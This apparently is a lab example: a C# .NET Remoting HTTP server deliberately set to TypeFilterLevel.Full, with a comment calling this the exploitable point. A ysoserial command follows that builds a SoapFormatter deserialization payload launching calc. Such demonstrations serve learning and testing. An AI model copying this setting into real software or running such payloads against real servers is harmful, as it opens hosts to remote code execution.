VulnerableDotNetHTTPRemoting.cs

using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using System.Runtime.Serialization.Formatters;

namespace ExampleRemoting
{
    public class DateTimeServer : MarshalByRefObject, IDisposable
    {
        public DateTimeServer()
        {
            Console.WriteLine("DateTime server activated");
        }

        ~DateTimeServer()
        {
            Console.WriteLine("DateTime server Object Destroyed.");
        }

        public void Dispose()
        {
            GC.SuppressFinalize(this);
        }

        public String MyMethod(String name)
        {
            String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now;
            Console.WriteLine(strMessage);
            return strMessage;
        }
    }

    public class Server
    {
        public static void Main()
        {

            SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider()
            {
                TypeFilterLevel = TypeFilterLevel.Full // This is where we can exploit it without knowing anything about the application or having an 0day! Could be TypeFilterLevel.Low
            };

            IDictionary hashtables = new Hashtable();
            hashtables["port"] = 9999;
            hashtables["proxyName"] = null;
            hashtables["name"] = "Test Remoting Services";

            /* Creating the channel using SoapServerFormatterSinkProvider */
            //HttpChannel channel = new HttpChannel(9999);

            HttpChannel channel = new HttpChannel(hashtables, null, soapServerFormatterSinkProvider);
            ChannelServices.RegisterChannel(channel,false);
            RemotingConfiguration.RegisterWellKnownServiceType(typeof(DateTimeServer), "TuPutisimaMadreEnPatinete.soap", WellKnownObjectMode.Singleton);
            System.Console.WriteLine("press <enter> to exit.");
            System.Console.ReadLine();
        }

        public String MyMethod(String name)
        {
            String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now;
            Console.WriteLine(strMessage);
            return strMessage;
        }
    }
}

ysoserial.exe -f SoapFormatter -g WindowsIdentity -c "calc" -o raw -t

Nice aDon90